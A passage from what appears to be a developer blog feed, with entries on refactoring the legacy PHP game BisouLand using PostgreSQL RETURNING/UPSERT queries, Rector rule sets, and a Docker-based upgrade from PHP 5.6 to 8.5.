 *     last_month: int,
 *     last_year: int,
 * } $result
 */
$result = $stmt-&gt;fetch();
</code></pre>

<h3 id="returning%3A-one-query%2C-a-select-and-an-update">RETURNING: One query, a select and an update</h3>

<p>In the following code snippet, we:</p>

<ol>
<li>select an Upgradable Item level (e.g. the Heart level), store it in a variable</li>
<li>increment the variable</li>
<li>update in the database the Upgradable Item level</li>
</ol>

<pre><code class="php">    // On effectue la tache dans la table membre.
    $stmt2 = $pdo-&gt;prepare('SELECT '.$Obj[$classe][$type].', amour FROM membres WHERE id = :id');
    $stmt2-&gt;execute(['id' =&gt; $id2]);
    $donnees_info = $stmt2-&gt;fetch();
    $amourConstructeur = $donnees_info['amour'];
    // On récupère l'ancienne valeur.
    $nbObjEvol = $donnees_info[$Obj[$classe][$type]];
    // On augmente d'un.
    ++$nbObjEvol;
    // On met a jour la table.
    $stmt2 = $pdo-&gt;prepare('UPDATE membres SET '.$Obj[$classe][$type].' = :nb WHERE id = :id');
    $stmt2-&gt;execute(['nb' =&gt; $nbObjEvol, 'id' =&gt; $id2]);
</code></pre>

<p>With <code>RETURNING</code> it's possible to directly increment the value in the database and return it:</p>

<pre><code class="php">    // On effectue la tache dans la table membre.
    $stmt2 = $pdo-&gt;prepare(&lt;&lt;&lt;SQL
        UPDATE membres
        SET {$upgradableItem} = {$upgradableItem} + 1
        WHERE id = :account_id
        RETURNING amour, {$upgradableItem}
    SQL);
    $stmt2-&gt;execute([
        'account_id' =&gt; $upgrade['account_id'],
    ]);
    /** @var array&lt;string, int&gt;|false $player */
    $player = $stmt2-&gt;fetch();
    $amourConstructeur = $player['amour'];
    // On récupère l'ancienne valeur.
    $nbObjEvol = $player[$upgradableItem];
</code></pre>

<h3 id="on-conflict%3A-one-query%2C-insert-or-update">ON CONFLICT: One query, insert or update</h3>

<p>Sometimes we want to either create a new resource, or modify it,
which means an extra query to check the existence:</p>

<pre><code class="php">    $stmt = $pdo-&gt;prepare('SELECT COUNT(*) AS nbre_entrees FROM connectbisous WHERE ip = :ip');
    $stmt-&gt;execute(['ip' =&gt; $_SERVER['REMOTE_ADDR']]);
    $donnees = $stmt-&gt;fetch();
    if (0 == $donnees['nbre_entrees']) { // L'ip ne se trouve pas dans la table, on va l'ajouter
        $stmt = $pdo-&gt;prepare('INSERT INTO connectbisous VALUES(:ip, :timestamp, 2)');
        $stmt-&gt;execute(['ip' =&gt; $_SERVER['REMOTE_ADDR'], 'timestamp' =&gt; time()]);
    } else { // L'ip se trouve déjà dans la table, on met juste à jour le timestamp
        $stmt = $pdo-&gt;prepare('UPDATE connectbisous SET timestamp = :timestamp WHERE ip = :ip');
        $stmt-&gt;execute(['timestamp' =&gt; time(), 'ip' =&gt; $_SERVER['REMOTE_ADDR']]);
    }
</code></pre>

<p>With "UPSERT" (UPdate + inSERT, also possible with MySQL, but different syntax),
it's possible to do all this in one single query:</p>

<pre><code class="php">    $stmt = $pdo-&gt;prepare(&lt;&lt;&lt;'SQL'
        INSERT INTO connectbisous (ip, timestamp, type)
        VALUES (:ip, CURRENT_TIMESTAMP, 2)
        ON CONFLICT (ip) DO UPDATE
        SET timestamp = CURRENT_TIMESTAMP
    SQL);
    $stmt-&gt;execute([
        'ip' =&gt; $_SERVER['REMOTE_ADDR'],
    ]);
</code></pre>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 7: Rector]]></title>
            <link href="/2025/11/26/xl-7-rector.html"/>
            <updated>2025-11-26T00:00:00+00:00</updated>
            <id>/2025/11/26/xl-7-rector.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>🤘 Behold Rector, the Metamorphosis Overlord,
  wielding the dark grimoire of AST manipulation to transmute ancient incantations of PHP 5.6
  into the blazing runes of PHP 8.x through unholy automated rituals! 🔥</p>
</blockquote>

<p>In this series, we're dealing with BisouLand, an eXtreme Legacy application
(2005 LAMP spaghetti code base). So far, we have:</p>

<ol>
<li><a href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html">🐋 got it to run in a local container</a></li>
<li><a href="/2025/09/17/xl-2-smoke-tests.html">💨 written Smoke Tests</a></li>
<li><a href="/2025/09/24/xl-3-end-to-end-tests.html">🎯 written End to End Tests</a></li>
<li><a href="/2025/10/01/xl-4-coding-standards.html">🧹 created and applied Coding Standards</a></li>
<li><a href="/2025/10/22/xl-5-pdo.html">⛃ migrated to PDO</a></li>
<li><a href="/2025/11/19/xl-6-php-8.html">🐘 upgraded PHP 5 to PHP 8</a></li>
</ol>

<p>This means we can run it locally (http://localhost:43000/),
and have some level of automated tests.</p>

<p>But even with a modern PHP version,
we still have an eXtreme Legacy spaghetti code...</p>

<p>So let's use Rector to apply some automated refactorings</p>

<ul>
<li><a href="#what-is-the-difference-with-php-cs-fixer">What is the difference with PHP CS Fixer</a></li>
<li><a href="#what-is-rector">What is Rector</a></li>
<li><a href="#early-return">Early Return</a></li>
<li><a href="#code-quality">Code Quality</a></li>
<li><a href="#type-declaration">Type Declaration</a></li>
<li><a href="#dead-code">Dead Code</a></li>
<li><a href="#cherry-pick-your-rules">Cherry Pick your rules</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="what-is-the-difference-with-php-cs-fixer">What is the difference with PHP CS Fixer</h2>

<p>A question I often get asked is: what's the difference between rector and PHP CS Fixer?</p>

<p>PHP CS Fixer was initially created to automatically fix coding style issues,
such as "indentation: 4 spaces vs 1 tab",
or "opening curly brace: one the same line vs on a new line", etc.</p>

<p>With time it grew to do more than just fixing coding style issues,
like replacing deprecated function calls to their modern counterparts.</p>

<p>But it is a token-based parsing tool (using PHP's <code>token_get_all()</code>),
meaning it looks at the code as a series of keywords (<code>class</code>), whitespaces (<code></code>),
identifiers (<code>MyClass</code>), punctuations (<code>{</code>), etc,
it's very much a flat array.</p>

<p>This means that there's a limit to how much it can know and understand about the code,
and therefore how (and when) to modify it.</p>

<p>For all intent and purposes we should treat PHP CS Fixer as a Coding Style enforcer,
even if it can do more than that.</p>

<h2 id="what-is-rector">What is Rector</h2>

<p>Rector was created to automatically refactor code,
such as adding type declarations, simplifying complex control flow,
or removing dead code.</p>

<p>With time it grew to do more than just refactoring code,
like fixing coding style.</p>

<p>So there is some overlap with PHP CS Fixer,
but Rector is an Abstract Syntax Tree (AST) tool (using <a href="https://github.com/nikic/PHP-Parser">PHP Parser</a>),
meaning it holds an structured model of the code (<code>Class</code> object,
with <code>identifier</code> attribute set to <code>MyClass</code>,
collection of <code>Property</code> objects each having a <code>visibility</code>, <code>type</code> and <code>identifier</code> attributes, etc).</p>

<p>This means it can have a deep understanding of the code and therefore how
to modify it in a way that is safe (for example it won't add a <code>string</code> typehint
to a function argument if somewhere in the code a <code>bool</code> is passed to it
or if it's used as an integer inside the function).</p>

<p>Some people know it as the "one off automatic upgrade tool", because it can:</p>

<ul>
<li>upgrade your PHP app to newer versions (as we did in the previous article)</li>
<li>upgrade your PHPUnit testsuite to newer versions (e.g. replace PHPdoc <code>@test</code> annotation with <code>#[Test]</code> attributes)</li>
<li>upgrade your Symfony app to newer version</li>
</ul>

<p>But is is more useful as a "linting" tool that is run on every change made (for example in the CI):
once all the deprecated function calls have been replaced with their modern counterparts,
you don't want someone reintroducing a deprecated function call by accident.</p>

<p>But coding style and upgrades are secondary features of Rector,
its main one is to allow you to define Code Quality rules that are going to be automatically
enforced as part of your CI workflow.</p>

<p>Out of the box, rector provides you with Rules as well as rule Sets,
let's have a look at what they can do for us.</p>

<h2 id="early-return">Early Return</h2>

<p>The <a href="https://getrector.com/find-rule?rectorSet=core-early-return&amp;activeRectorSetGroup=core">Early Return</a>
set is a collection of rules that will check if your code can be simplified with earlier return:</p>

<ul>
<li><a href="https://getrector.com/rule-detail/prepared-value-to-early-return-rector">PreparedValueToEarlyReturnRector</a></li>
<li><a href="https://getrector.com/rule-detail/return-binary-or-to-early-return-rector">ReturnBinaryOrToEarlyReturnRector</a></li>
<li><a href="https://getrector.com/rule-detail/return-early-if-variable-rector">ReturnEarlyIfVariableRector</a></li>
<li><a href="https://getrector.com/rule-detail/change-nested-ifs-to-early-return-rector">ChangeNestedIfsToEarlyReturnRector</a></li>
<li><a href="https://getrector.com/rule-detail/remove-always-else-rector">RemoveAlwaysElseRector</a></li>
<li><a href="https://getrector.com/rule-detail/change-if-else-value-assign-to-early-return-rector">ChangeIfElseValueAssignToEarlyReturnRector</a></li>
<li><a href="https://getrector.com/rule-detail/change-or-if-continue-to-multi-continue-rector">ChangeOrIfContinueToMultiContinueRector</a></li>
<li><a href="https://getrector.com/rule-detail/change-nested-foreach-ifs-to-early-continue-rector">ChangeNestedForeachIfsToEarlyContinueRector</a></li>
</ul>

<p>Let's enable it in the <code>rector.php</code> config file:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

use Rector\Caching\ValueObject\Storage\FileCacheStorage;
use Rector\Config\RectorConfig;
use Rector\Set\ValueObject\SetList;

return RectorConfig::configure()
    -&gt;withCache(
        cacheDirectory: '/tmp/rector',
        cacheClass: FileCacheStorage::class,
    )
    -&gt;withPaths([
        __DIR__,
        __DIR__.'/../monolith',
    ])
    -&gt;withSkip([
        // —— Excluded paths ———————————————————————————————————————————————————
        // [qa]
        __DIR__.'/vendor',
        // [monolith]
        __DIR__.'/../monolith/vendor',
    ])
    -&gt;withSets([
        // —— PHP ——————————————————————————————————————————————————————————————
        SetList::PHP_84,

        // —— Core —————————————————————————————————————————————————————————————
        SetList::EARLY_RETURN,
    ])
    -&gt;withRules([
    ]);
</code></pre>

<p>Now let's run it using:</p>

<pre><code class="console">make rector # ./vendor/bin/rector process
</code></pre>

<p>In the BisouLand codebase, this applies the <code>ReturnEarlyIfVariableRector</code> rule:</p>

<pre><code class="diff">  function calculterAmour($CalAmour, $timeDiff, $LvlCoeur, $nb1, $nb2, $nb3)
  {
      $CalAmour = calculerGenAmour($CalAmour, $timeDiff, $LvlCoeur, $nb1, $nb2, $nb3);
      // Cette fonction ajoute un frein sur le minima.
      if ($CalAmour &lt; 0) {
-         $CalAmour = 0;
+         return 0;
      }

      return $CalAmour;
  }
</code></pre>

<p>As well as the <code>RemoveAlwaysElseRector</code> rule:</p>

<pre><code class="diff">  // Permet de convertir un timestamp en chaine sous la forme heure:minutes:secondes.
  function strTemps($s): string
  {
      $m = 0;
      $h = 0;
      if ($s &lt; 0) {
          return '0:00:00';
-     } else {
-       if ($s &gt; 59) {
-           $m = floor($s / 60);
-           $s = $s - $m * 60;
-       }
-       if ($m &gt; 59) {
-           $h = floor($m / 60);
-           $m = $m - $h * 60;
-       }
-       $ts = $s;
-       $tm = $m;
-       if ($s &lt; 10) {
-           $ts = '0'.$s;
-       }
-       if ($m &lt; 10) {
-           $tm = '0'.$m;
-       }
-       if ($h &gt; 24) {
-           $d = floor($h / 24);
-           $h = $h - $d * 24;
-           $h = $d.' jours '.$h;
-       }
- 
-       return $h.' h '.$tm.' min '.$ts.' sec';
+     }
+ 
+     if ($s &gt; 59) {
+         $m = floor($s / 60);
+         $s = $s - $m * 60;
+     }
+ 
+     if ($m &gt; 59) {
+         $h = floor($m / 60);
+         $m = $m - $h * 60;
+     }
+ 
+     $ts = $s;
+     $tm = $m;
+     if ($s &lt; 10) {
+         $ts = '0'.$s;
+     }
+ 
+     if ($m &lt; 10) {
+         $tm = '0'.$m;
+     }
+ 
+     if ($h &gt; 24) {
+         $d = floor($h / 24);
+         $h = $h - $d * 24;
+         $h = $d.' jours '.$h;
+     }
+ 
+     return $h.' h '.$tm.' min '.$ts.' sec';
  }
</code></pre>

<h2 id="code-quality">Code Quality</h2>

<p>The <a href="https://getrector.com/find-rule?rectorSet=core-code-quality&amp;activeRectorSetGroup=core">Code Quality</a>
rule set includes a whopping 78 rules. I've enabled it as follow:</p>

<pre><code class="php">// Extract from file: rector.php
// [...]

        // —— Core —————————————————————————————————————————————————————————————
        SetList::CODE_QUALITY,
        SetList::EARLY_RETURN,
</code></pre>

<p>And after running it on the BisouLand codebase,
out of the 78 the following 8 have been applied:</p>

<ul>
<li><a href="https://getrector.com/rule-detail/use-identical-over-equal-with-same-type-rector">UseIdenticalOverEqualWithSameTypeRector</a></li>
<li><a href="https://getrector.com/rule-detail/simplify-bool-identical-true-rector">SimplifyBoolIdenticalTrueRector</a></li>
<li><a href="https://getrector.com/rule-detail/combine-if-rector">CombineIfRector</a></li>
<li><a href="https://getrector.com/rule-detail/shorten-else-if-rector">ShortenElseIfRector</a></li>
<li><a href="https://getrector.com/rule-detail/simplify-if-else-to-ternary-rector">SimplifyIfElseToTernaryRector</a></li>
<li><a href="https://getrector.com/rule-detail/absolutize-require-and-include-path-rector">AbsolutizeRequireAndIncludePathRector</a></li>
<li><a href="https://getrector.com/rule-detail/switch-negated-ternary-rector">SwitchNegatedTernaryRector</a></li>
<li><a href="https://getrector.com/rule-detail/combine-if-rector">CombineIfRector</a></li>
</ul>

<p>Now let's focus on <strong>UseIdenticalOverEqualWithSameTypeRector</strong>,
"Use <code>===</code> / <code>!==</code> over <code>==</code> / <code>!=</code>, if values have the same type".</p>

<p>There is similar rule in PHP CS Fixer,
<a href="https://cs.symfony.com/doc/rules/strict/strict_comparison.html">strict_comparison</a>,
but if we configure that it'll change <strong>ALL</strong> comparisons in the codebase to strict,
whether it's safe to do so or not.</p>

<p>Rector is able to detect the type of variables, so it'll only apply it if it's safe to do so,
for example in <code>nuage.php</code>:</p>

<pre><code class="diff">              $sautPossible = 0;
              // Au moins saut niveau 1.
              if ($nbE[2][3] &gt; 0) {
                  $distance = abs(16 * ($nuageL - $nuageSource) + $i - $positionSource);
                  // On prend en compte les jambes, et le niveau de saut.
                  $distMax2 = distanceMax($nbE[0][4], $nbE[2][3]);
                  if ($distance &lt;= $distMax2) {
                      $sautPossible = 1;
                  }
              }
-             if (1 == $sautPossible) {
+             if (1 === $sautPossible) {
</code></pre>

<p><code>$sautPossible</code> was defined with an integer (should really be a boolean, but whatever),
is potentially (in a if) set to another integer value, so it's safe to strictly
compare it to an integer.</p>

<h2 id="type-declaration">Type Declaration</h2>

<p>In addition to value assignments (<code>$sautPossible = 0</code>), Rector can know the type
of a variable from the Type Hints of functions they are passed in or that return them.</p>

<p>In eXtreme Legacy applications like BisouLand, we do not have such type Hints,
but Rector can add them for us (again only if it knows it's safe to do so),
thanks to the 63 rules in the set
<a href="https://getrector.com/find-rule?rectorSet=core-type-declaration&amp;activeRectorSetGroup=core">Type Declaration</a>.</p>

<p>For example <a href="https://getrector.com/rule-detail/numeric-return-type-from-strict-scalar-returns-rector">NumericReturnTypeFromStrictScalarReturnsRector</a>:</p>

<pre><code class="diff">  // Fonction qui retourne 0 si joueurAutre est meme niveau, 1 s'il est intouchable parce que trop faible, 2 s'il est intouchable parce que trop fort.
- function voirNiveau($scoreJoueur, $scoreAutre)
+ function voirNiveau($scoreJoueur, $scoreAutre): int
  {
      if ($scoreJoueur &lt; 50) {
          return 2;
      }
      if ($scoreAutre &lt; 50) {
          return 1;
      }
      if ($scoreJoueur &gt; 2000 &amp;&amp; $scoreAutre &gt; 2000) {
          return 0;
      }
      if (abs($scoreAutre - $scoreJoueur) &lt;= 200) {
          return 0;
      }
      if ($scoreJoueur - $scoreAutre &gt; 200) {
          return 1;
      }

      return 2;
  }
</code></pre>

<p>The advantage of keeping Rector as part of your CI means that as you improve the codebase,
some previous rules will be able to be automatically applied again, such as <strong>UseIdenticalOverEqualWithSameTypeRector</strong>!</p>

<p>Previously in <code>nuage.php</code>, <code>$Niveau</code>'s type was considered as <code>mixed</code>, but thanks to the return type hint
Rector now knows it's an integer, and so that it's safe to use strict type comparison:</p>

<pre><code class="diff">                  $Niveau = voirNiveau($scoreSource, $score);
-                 if (1 == $Niveau) {
+                 if (1 === $Niveau) {
                      if ($score &gt;= 50) {
                          echo '&lt;a class="bulle" style="cursor: default;color:blue;" onclick="return false;" href=""&gt;&lt;strong&gt;',$donnees_info['pseudo'],'&lt;/strong&gt;&lt;span style="color:blue;"&gt;Joueur trop faible&lt;/span&gt;';
                      } else {
                          echo '&lt;a class="bulle" style="cursor: default;color:teal;" onclick="return false;" href=""&gt;&lt;strong&gt;',$donnees_info['pseudo'],'&lt;/strong&gt;&lt;span style="color:teal;"&gt;Joueur ayant moins de 50 points&lt;/span&gt;';
                      }
-                 } elseif (0 == $Niveau) {
+                 } elseif (0 === $Niveau) {
                      echo '&lt;a class="bulle" style="cursor: default;color:red;" onclick="return false;" href=""&gt;&lt;strong&gt;',$donnees_info['pseudo'],'&lt;/strong&gt;&lt;span style="color:red;"&gt;Ce joueur a ton niveau&lt;/span&gt;';
</code></pre>

<h2 id="dead-code">Dead Code</h2>

<p>Another powerful rule set is <a href="https://getrector.com/find-rule?activeRectorSetGroup=core&amp;rectorSet=core-dead-code">Dead Code</a>
and its 55 rules.</p>

<p>For example in <a href="https://getrector.com/rule-detail/remove-always-true-if-condition-rector">RemoveAlwaysTrueIfConditionRector</a>,
Rector is able to detect conditions that would always evaluate to <code>true</code>,
and therefore remove the condition check altogether.</p>

<p>In the following snippet, Rector detects that <code>$resultat</code> is always set
because every single code path assigns it a value,
making the <code>isset($resultat)</code> check redundant:</p>

<pre><code class="diff">      if (isset($_GET['Dnuage'], $_GET['Dpos']) &amp;&amp; !empty($_GET['Dnuage']) &amp;&amp; !empty($_GET['Dpos'])) {
          $Dnuage = htmlentities((string) $_GET['Dnuage']);
          $Dpos = htmlentities((string) $_GET['Dpos']);
          if ($nbE[0][5] &gt; 0) {
              $stmt = $pdo-&gt;prepare('SELECT id, oeil, score, pseudo FROM membres WHERE nuage = :nuage AND position = :position');
              $stmt-&gt;execute(['nuage' =&gt; $Dnuage, 'position' =&gt; $Dpos]);
              if ($donnees = $stmt-&gt;fetch()) {
                  // [...]
                  if (0 == $Niveau) {
                      if ($amour &gt;= $cout) {
                          $resultat = "Tu as dévisagé {$pseudoCible}";
                          // [...]
                      } else {
                          $resultat = "Tu n'as pas assez de Points d'Amour";
                      }
                  } else {
                      $resultat = "Tu n'as pas le même niveau que ce joueur";
                  }
              } else {
                  $resultat = "Il n'y a plus de joueur a cette position";
              }
          } else {
              $resultat = 'Il te faut des yeux niveau 1 pour dévisager un joueur';
          }
          ?&gt;
  &lt;h1&gt;Dévisager&lt;/h1&gt;
  &lt;br /&gt;
  &lt;a href="&lt;?php echo $Dnuage; ?&gt;.nuage.html"&gt;Retourner sur le nuage en cours&lt;/a&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;?php
-             if (isset($resultat)) {
-                 echo '&lt;span class="info"&gt;[ '.$resultat.' ]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;';
-             }
+             echo '&lt;span class="info"&gt;[ '.$resultat.' ]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;';
</code></pre>

<h2 id="cherry-pick-your-rules">Cherry Pick your rules</h2>

<p>There are more rule sets, here are the ones that have been configured for BisouLand:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

use Rector\Caching\ValueObject\Storage\FileCacheStorage;
use Rector\CodingStyle\Rector\Closure\StaticClosureRector;
use Rector\CodingStyle\Rector\FuncCall\ArraySpreadInsteadOfArrayMergeRector;
use Rector\Config\RectorConfig;
use Rector\PHPUnit\Set\PHPUnitSetList;
use Rector\Set\ValueObject\SetList;
use Rector\TypeDeclarationDocblocks\Rector\Class_\AddReturnDocblockDataProviderRector;
use Rector\TypeDeclarationDocblocks\Rector\Class_\ClassMethodArrayDocblockParamFromLocalCallsRector;
use Rector\TypeDeclarationDocblocks\Rector\Class_\DocblockVarArrayFromGetterReturnRector;
use Rector\TypeDeclarationDocblocks\Rector\Class_\DocblockVarArrayFromPropertyDefaultsRector;
use Rector\TypeDeclarationDocblocks\Rector\Class_\DocblockVarFromParamDocblockInConstructorRector;
use Rector\TypeDeclarationDocblocks\Rector\ClassMethod\AddParamArrayDocblockBasedOnArrayMapRector;
use Rector\TypeDeclarationDocblocks\Rector\ClassMethod\AddParamArrayDocblockFromAssignsParamToParamReferenceRector;
use Rector\TypeDeclarationDocblocks\Rector\ClassMethod\AddParamArrayDocblockFromDataProviderRector;
use Rector\TypeDeclarationDocblocks\Rector\ClassMethod\AddParamArrayDocblockFromDimFetchAccessRector;
use Rector\TypeDeclarationDocblocks\Rector\ClassMethod\AddReturnDocblockForArrayDimAssignedObjectRector;
use Rector\TypeDeclarationDocblocks\Rector\ClassMethod\AddReturnDocblockForCommonObjectDenominatorRector;
use Rector\TypeDeclarationDocblocks\Rector\ClassMethod\AddReturnDocblockForJsonArrayRector;
use Rector\TypeDeclarationDocblocks\Rector\ClassMethod\DocblockGetterReturnArrayFromPropertyDocblockVarRector;
use Rector\TypeDeclarationDocblocks\Rector\ClassMethod\DocblockReturnArrayFromDirectArrayInstanceRector;
use Rector\Visibility\Rector\ClassConst\ChangeConstantVisibilityRector;
use Rector\Visibility\Rector\ClassMethod\ChangeMethodVisibilityRector;

return RectorConfig::configure()
    -&gt;withCache(
        cacheDirectory: '/tmp/rector',
        cacheClass: FileCacheStorage::class,
    )
    -&gt;withPaths([
        __DIR__,
        __DIR__.'/../monolith',
    ])
    -&gt;withSkip([
        // —— Excluded paths ———————————————————————————————————————————————————
        // Excluded folders
        // [qa]
        __DIR__.'/vendor',
        // [monolith]
        __DIR__.'/../monolith/vendor',

        // —— Excluded rules ———————————————————————————————————————————————————
        // [CODE_QUALITY]
        Rector\CodeQuality\Rector\Assign\CombinedAssignRector::class,
        // [CODING_STYLE]
        Rector\CodingStyle\Rector\Encapsed\EncapsedStringsToSprintfRector::class,
    ])
    -&gt;withSets([
        // —— PHP ——————————————————————————————————————————————————————————————
        SetList::PHP_84,

        // —— Core —————————————————————————————————————————————————————————————
        SetList::CODE_QUALITY,
        SetList::CODING_STYLE,
        SetList::DEAD_CODE,
        SetList::EARLY_RETURN,
        SetList::INSTANCEOF,
        SetList::NAMING,
        SetList::PRIVATIZATION,
        SetList::STRICT_BOOLEANS,
        SetList::TYPE_DECLARATION,

        // —— PHPUnit ——————————————————————————————————————————————————————————
        PHPUnitSetList::PHPUNIT_CODE_QUALITY,
        PHPUnitSetList::PHPUNIT_120,
    ])
    -&gt;withRules([
        // —— Core —————————————————————————————————————————————————————————————
        // PHPdoc array types
        AddParamArrayDocblockBasedOnArrayMapRector::class,
        AddParamArrayDocblockFromAssignsParamToParamReferenceRector::class,
        AddParamArrayDocblockFromDataProviderRector::class,
        AddParamArrayDocblockFromDimFetchAccessRector::class,
        AddReturnDocblockDataProviderRector::class,
        AddReturnDocblockForArrayDimAssignedObjectRector::class,
        AddReturnDocblockForCommonObjectDenominatorRector::class,
        AddReturnDocblockForJsonArrayRector::class,
        ClassMethodArrayDocblockParamFromLocalCallsRector::class,
        DocblockGetterReturnArrayFromPropertyDocblockVarRector::class,
        DocblockReturnArrayFromDirectArrayInstanceRector::class,
        DocblockVarArrayFromGetterReturnRector::class,
        DocblockVarArrayFromPropertyDefaultsRector::class,
        DocblockVarFromParamDocblockInConstructorRector::class,

        // Inherit parent visibility
        ChangeConstantVisibilityRector::class,
        ChangeMethodVisibilityRector::class,

        // More Coding Style
        ArraySpreadInsteadOfArrayMergeRector::class,
        StaticClosureRector::class,
    ]);
</code></pre>

<p>Not all rule sets have been added, for example we are missing:</p>

<ul>
<li><a href="https://getrector.com/find-rule?activeRectorSetGroup=core&amp;rectorSet=core-datetime-to-carbon">DateTime to Carbon</a></li>
<li><a href="https://getrector.com/find-rule?activeRectorSetGroup=core&amp;rectorSet=core-gmagick-to-imagick">Gmagick to imagick</a></li>
</ul>

<p>There are also some rules from added rulesets that we have decided to exclude:</p>

<ul>
<li><a href="https://getrector.com/rule-detail/combined-assign-rector">CombinedAssignRector</a>
Simplify <code>$value = $value + 5;</code> assignments to <code>$value += 5;</code></li>
<li><a href="https://getrector.com/rule-detail/encapsed-strings-to-sprintf-rector">EncapsedStringsToSprintfRector</a>
Convert <code>"{$value}"</code> to <code>sprintf('%s', $value)</code> or <code>''.$value</code></li>
</ul>

<p>Finally, there are some rules that are not part of <a href="https://getrector.com/find-rule?activeRectorSetGroup=core&amp;rectorSet=%3Anot-in-set">any rule set</a>,
which we have added one by one.</p>

<p>My advice to select only the rule set and rules you like, by first trying them all.</p>

<p>You can run Rector in "check only" mode for that purpose:</p>

<pre><code class="php">./vendor/bin/rector process --dry-run
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Rector is a powerful tool that goes way beyond simple one-off upgrades.</p>

<p>By integrating it into your CI workflow, you can enforce Code Quality rules
that continuously improve your codebase as it evolves.</p>

<p>The key difference with PHP CS Fixer is that Rector understands your code's
structure and types through AST parsing, which means it can make safe refactoring
decisions that a token-based tool simply cannot.</p>

<p>For BisouLand, we've seen Rector automatically:</p>

<ul>
<li>simplify control flow with early returns</li>
<li>enforce strict type comparisons where safe</li>
<li>add type declarations to functions</li>
<li>remove dead code and unnecessary conditions</li>
</ul>

<p>And as the codebase improves (more type hints, better structure),
Rector becomes even more effective at applying additional rules automatically.</p>

<p>My recommendation is to start with the rule sets that make sense for your project,
run them in <code>--dry-run</code> mode to review the changes,
and gradually build up your configuration by cherry-picking the rules you like.</p>

<p>Then keep Rector running in your CI to prevent regressions and maintain
the code quality improvements you've worked so hard to achieve.</p>

<p>Now with our almost not spaghetti code, we truly are in the future.</p>

<blockquote>
  <p>⁉️ What do you mean, "still using old MySQL database"?</p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 6: From PHP 5 to PHP 8]]></title>
            <link href="/2025/11/19/xl-6-php-8.html"/>
            <updated>2025-11-19T00:00:00+00:00</updated>
            <id>/2025/11/19/xl-6-php-8.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>🤘 The Migration Warlord breaks the rusted shackles of PHP 5.6,
  leading the great exodus through the valleys of breaking changes,
  into the promised land of PHP 8.5 where type hints
  and constructor property promotion await in glory! 🔥</p>
</blockquote>

<p>In this series, we're dealing with BisouLand, an eXtreme Legacy application
(2005 LAMP spaghetti code base). So far, we have:</p>

<ol>
<li><a href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html">🐋 got it to run in a local container</a></li>
<li><a href="/2025/09/17/xl-2-smoke-tests.html">💨 written Smoke Tests</a></li>
<li><a href="/2025/09/24/xl-3-end-to-end-tests.html">🎯 written End to End Tests</a></li>
<li><a href="/2025/10/01/xl-4-coding-standards.html">🧹 created and applied Coding Standards</a></li>
<li><a href="/2025/10/22/xl-5-pdo.html">⛃ migrated to PDO</a></li>
</ol>

<p>This means we can run it locally (http://localhost:43000/),
and have some level of automated tests.</p>

<p>But it's still stuck in the past with PHP 5.6,
so let's upgrade it to PHP 8.5!</p>

<ul>
<li><a href="#docker">Docker</a></li>
<li><a href="#rector">Rector</a></li>
<li><a href="#php-cs-fixer">PHP CS Fixer</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="docker">Docker</h2>

<p>With the migration from the deprecated MySQL extension to PDO,
BisouLand's codebase is technically compatible with the latest PHP version.</p>

<p>At least that's what Claude tells me.</p>

<p>If that's true, then upgrading it is as simple as modifying the monolith's Dockerfile:</p>

<pre><code class="diff">- # Uses PHP 5.6 with PDO MySQL driver
+ # Uses PHP 8.5 with PDO MySQL driver

- FROM php:5.6-apache
- 
- # Update sources.list to use archive repositories for Debian Stretch
- RUN sed -i 's/deb.debian.org/archive.debian.org/g' /etc/apt/sources.list \
-     &amp;&amp; sed -i 's/security.debian.org/archive.debian.org/g' /etc/apt/sources.list \
-     &amp;&amp; sed -i '/stretch-updates/d' /etc/apt/sources.list
+ FROM php:8.5-apache
</code></pre>

<p>We can now build the new image:</p>

<pre><code class="console">cd apps/monolith
make app-init # docker down, docker build, docker up 
</code></pre>

<p>And that's it, welcome to the future!</p>

<h2 id="rector">Rector</h2>

<p>Your eXtreme Legacy application might not be as lucky as BisouLand,
and might require more work for an upgrade.</p>

<p>One way to do so is to use <a href="https://getrector.com/">Rector</a>,
an automated refactoring tool that uses the power of AST to make sure the
changes it makes are safe (i.e. non breaking) to do. Let's install it:</p>

<pre><code class="console">cd apps/qa
make composer arg='require --dev rector/rector'
</code></pre>

<p>We then need to configure it by creating the <code>rector.php</code> file:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

use Rector\Caching\ValueObject\Storage\FileCacheStorage;
use Rector\Config\RectorConfig;
use Rector\Set\ValueObject\SetList;

return RectorConfig::configure()
    -&gt;withCache(
        // CI compatible temporary paths for cach
        cacheDirectory: '/tmp/rector',
        cacheClass: FileCacheStorage::class,
    )
    -&gt;withPaths([
        __DIR__,
        __DIR__.'/../monolith',
    ])
    -&gt;withSkip([
        // —— Excluded paths ———————————————————————————————————————————————————
        // [qa]
        __DIR__.'/vendor',
        // [monolith]
        __DIR__.'/../monolith/vendor',
    ])
    -&gt;withSets([
        // —— PHP ——————————————————————————————————————————————————————————————
        SetList::PHP_56,
    ]);
</code></pre>

<p>We can then run it as follow:</p>

<pre><code class="console">make rector # ./vendor/bin/rector
</code></pre>

<p>This initial run will ensure both the Monolith and QA apps are PHP 5.6 compliant,
which they are so no changes done.</p>

<p>We can be bold and brave and change Rector's config straight from <code>SetList::PHP_56</code>
to <code>SetList::PHP_84</code>, which will then make all the necessary upgrades from PHP 5.6 to 8.5,
but incremental steps are safer so we'll start with PHP 7.0:</p>

<pre><code class="console">sed -i -e 's/PHP_56/PHP_70/g' ./rector.php
# 🍏 On Mac: sed -i '' -e 's/PHP_56/PHP_70/g' ./rector.php
</code></pre>

<p>Running it (<code>make rector</code>) will spot one change that needs to be done:
replace <code>rand()</code> with <code>random_int()</code>:</p>

<pre><code class="diff">              // Si les bisous du défenseurs sont présent, donc qu'il n'attaque pas.
              if (0 == $DefBloque) {
